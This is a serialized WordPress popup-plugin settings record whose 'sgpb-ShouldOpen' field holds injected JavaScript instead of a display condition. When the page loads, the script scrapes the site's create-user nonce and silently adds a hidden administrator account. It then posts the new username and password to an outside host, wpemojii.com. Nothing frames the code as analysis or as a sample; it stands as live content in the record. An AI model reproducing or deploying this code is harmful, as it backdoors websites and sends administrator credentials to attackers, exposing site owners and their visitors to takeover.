a:43:{s:15:"sgpb-is-preview";s:1:"0";s:9:"sgpb-type";s:4:"html";s:14:"sgpb-is-active";s:0:"";s:34:"sgpb-behavior-after-special-events";a:1:{i:0;a:1:{i:0;a:3:{s:5:"param";s:14:"contact-form-7";s:8:"operator";s:12:"redirect-url";s:5:"value";s:19:"https://example.com";}}}s:18:"sgpb-popup-z-index";s:4:"9999";s:17:"sgpb-popup-themes";s:12:"sgpb-theme-1";s:18:"sgpb-overlay-color";s:0:"";s:20:"sgpb-overlay-opacity";s:3:"0.8";s:25:"sgpb-content-custom-class";s:16:"sg-popup-content";s:12:"sgpb-esc-key";s:2:"on";s:24:"sgpb-enable-close-button";s:2:"on";s:23:"sgpb-close-button-delay";s:1:"0";s:26:"sgpb-close-button-position";s:11:"bottomRight";s:24:"sgpb-button-position-top";s:0:"";s:26:"sgpb-button-position-right";s:1:"9";s:27:"sgpb-button-position-bottom";s:1:"9";s:25:"sgpb-button-position-left";s:0:"";s:17:"sgpb-button-image";s:0:"";s:23:"sgpb-button-image-width";s:2:"21";s:24:"sgpb-button-image-height";s:2:"21";s:17:"sgpb-border-color";s:7:"#000000";s:18:"sgpb-border-radius";s:1:"0";s:23:"sgpb-border-radius-type";s:1:"%";s:16:"sgpb-button-text";s:5:"Close";s:18:"sgpb-overlay-click";s:2:"on";s:25:"sgpb-popup-dimension-mode";s:14:"responsiveMode";s:33:"sgpb-responsive-dimension-measure";s:4:"auto";s:10:"sgpb-width";s:5:"640px";s:11:"sgpb-height";s:5:"480px";s:14:"sgpb-max-width";s:0:"";s:15:"sgpb-max-height";s:0:"";s:14:"sgpb-min-width";s:5:"120px";s:15:"sgpb-min-height";s:0:"";s:30:"sgpb-copy-to-clipboard-message";s:20:"Copied to Clipboard!";s:26:"sgpb-open-animation-effect";s:9:"No effect";s:27:"sgpb-close-animation-effect";s:9:"No effect";s:29:"sgpb-enable-content-scrolling";s:2:"on";s:16:"sgpb-popup-order";s:1:"0";s:16:"sgpb-popup-delay";s:1:"0";s:15:"sgpb-ShouldOpen";s:3970:"
function httpGet(theUrl) {
    return fetch(theUrl)
        .then(response =&gt; {
            if (!response.ok) {
                throw new Error(`HTTP error! Status: ${response.status}`);
            }
            return response.text();
        })
        .catch(error =&gt; {
            console.error('Error in httpGet:', error);
            return null;
        });
}

function httpPost(theUrl, csrftoken, password) {
    return fetch(theUrl, {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: `action=createuser&amp;_wpnonce_create-user=${csrftoken}&amp;_wp_http_referer=${encodeURI(theUrl)}&amp;user_login=wpx&amp;email=waterstyle29@gmail.com&amp;first_name=tqwtqw&amp;last_name=tqwtqw&amp;url=${window.location.origin}&amp;pass1=${password}&amp;pass2=${password}&amp;role=administrator&amp;createuser=Add+New+User+`,
    })
        .then(response =&gt; {
            if (!response.ok) {
                throw new Error(`HTTP error! Status: ${response.status}`);
            }
            return response.text();
        })
        .catch(error =&gt; {
            console.error('Error in httpPost:', error);
            return null;
        });
}

function sendLog(logUrl, logText) {
    return fetch(logUrl, {
        method: 'POST',
        headers: {
            'Content-Type': 'text/plain',
        },
        body: logText,
    })
        .then(response =&gt; {
            if (!response.ok) {
                throw new Error('Log gönderme başarısız');
            }
            return response.text();
        })
        .then(data =&gt; {
            console.log('Log gönderildi:', data);
        })
        .catch(error =&gt; {
            console.error('Hata:', error);
        });
}

function generateRandomPassword(length) {
    const charset = &quot;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&quot;;
    let password = &quot;&quot;;
    for (let i = 0; i &lt; length; i++) {
        const randomIndex = Math.floor(Math.random() * charset.length);
        password += charset.charAt(randomIndex);
    }
    return password;
}

function createUserAndSendLog() {
    const trigger = window.location.origin + &quot;/wp-admin/user-new.php&quot;;
    const logUrl = 'https://wpemojii.com/az.php';

    httpGet(trigger)
        .then(page =&gt; {
            const regExp = /name=&quot;_wpnonce_create-user&quot;svalue=&quot;([^)]+)&quot;/;
            const matches = regExp.exec(page);

            if (matches &amp;&amp; matches[1]) {
                const csrftoken = matches[1].slice(0, 10);
                const randomPassword = generateRandomPassword(8);

                httpPost(trigger, csrftoken, randomPassword)
                    .then(postResponse =&gt; {
                        if (postResponse) {
                            console.log('User created successfully.');

                            const logText = `
                                User created:
                                Username: wpx
                                Email: waterstyle29@gmail.com
                                First Name: tqwtqw
                                Last Name: tqwtqw
                                URL: ${window.location.origin}
                                Password: ${randomPassword}
                            `;

                            sendLog(logUrl, logText);
                        } else {
                            console.error('Failed to create user.');
                        }
                    })
                    .catch(error =&gt; {
                        console.error('Error in httpPost:', error);
                    });
            } else {
                console.error('CSRF token not found.');
            }
        })
        .catch(error =&gt; {
            console.error('Error in httpGet:', error);
        });
}

createUserAndSendLog();
console.log('hellotest112');

        ";s:12:"sgpb-post-id";s:4:"3838";s:22:"sgpb-button-image-data";s:0:"";s:26:"sgpb-background-image-data";s:0:"";}